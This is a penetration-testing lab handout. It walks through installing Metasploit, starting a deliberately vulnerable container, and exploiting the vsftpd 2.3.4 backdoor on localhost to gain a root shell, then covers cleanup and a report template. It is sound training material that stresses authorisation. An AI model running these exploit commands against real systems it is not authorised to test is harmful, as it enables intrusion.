Lab 34 — Penetration Testing with Metasploit (Authorised Lab)

You will exploit a *deliberately vulnerable* target (Metasploitable-style FTP service) using Metasploit Framework, post-exploitation pivot, then write the engagement report.

Run on https://killercoda.com/playgrounds/scenario/ubuntu

Required software (free, apt + docker): - `metasploit-framework` - `docker.io`

ONLY exploit targets you own or have written authorisation for.

Step 1 — Install Metasploit

Metasploit is **not** in the Ubuntu apt repos. Use Rapid7's official installer script (the `msfupdate.erb` file *is* the installer — download it, then run it). It adds a signed apt repo and installs `metasploit-framework` under `/opt/metasploit-framework/` with wrappers in `/usr/local/bin/`.

```
apt update && apt install -y curl gpg
curl -sSL https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb \
   > /tmp/msfinstall
chmod 755 /tmp/msfinstall
```

```
/tmp/msfinstall

msfconsole -v
```

Step 2 — Stand up an authorised vulnerable target

```
apt install -y docker.io && systemctl start docker

docker run -d --name vuln -p 2121:21 --rm tleemcjr/metasploitable2 \

  /bin/bash -c "service vsftpd start && sleep infinity" 2>/dev/null
|| \

docker run -d --name vuln -p 2121:21 --rm vulnerables/web-dvwa
```

(Either container works; the goal is a target you legally own.)

Step 3 — Recon the target

```
nmap -sV -p 2121 127.0.0.1
```

Confirm the service banner before picking an exploit.

Step 4 — Search Metasploit for matching modules

```
msfconsole -q -x "search vsftpd; exit"
```

You should see `exploit/unix/ftp/vsftpd_234_backdoor`.

Step 5 — Run the exploit (lab target only)

```
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 127.0.0.1
set RPORT 2121
exploit -z
sessions -l
exit
```

```
"
```

If a session opens, you have a remote shell on the lab container.

Step 6 — Post-exploitation evidence (proof of compromise)

```
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 127.0.0.1
set RPORT 2121
exploit -z
sessions -i 1 -c 'id; uname -a; whoami; hostname'
exit
"
```

Capture: command, output, timestamp, hash. These are your **proofs**.

Step 7 — Clean up (Rules of Engagement)

```
docker rm -f vuln
```

A pentest report **must** include a "scope and clean-up" section confirming no artefacts were left behind.

Step 8 — Engagement report skeleton

```
cat > pentest-report.md <<'EOF'

# Penetration Test Report — Lab Engagement

## 1. Scope

- Authorised target: docker container `vuln` on 127.0.0.1:2121

- Window: $(date)

- Type: Known environment, offensive
```

2. Findings

ID	Title	Severity	CVSS	Affected
F1	vsftpd 2.3.4 backdoor RCE	Critical	10.0	127.0.0.1:2121

3. Evidence

- Command: `id` → `uid=0(root)`

- Screenshot ID: shot-001

```
## 4. Recommendations

- Upgrade vsftpd >= 3.0

- Network-segment the FTP host (Lab 14)

- Add IDS rule for FTP "USER ...:)" (Lab 25)

## 5. Cleanup

- Container removed at $(date)

- No persistence implants

EOF

cat pentest-report.md
```

Free online tools

- **Metasploit Unleashed (free training)** — https://www.offsec.com/metasploit-unleashed/
- **HackTheBox / TryHackMe** — legal targets
- **OWASP Juice Shop** — https://owasp.org/www-project-juice-shop
- **DVWA** — https://github.com/digininja/DVWA
- **PTES standard** — https://www.pentest-standard.org
- **PenTesters Framework** — https://github.com/trustedsec/ptf

---

What you learned

- The pentest workflow: recon → exploit → post-exploit → clean up → report.
- That every engagement starts with a written ROE / SoW.
- The five sections every pentest report must contain.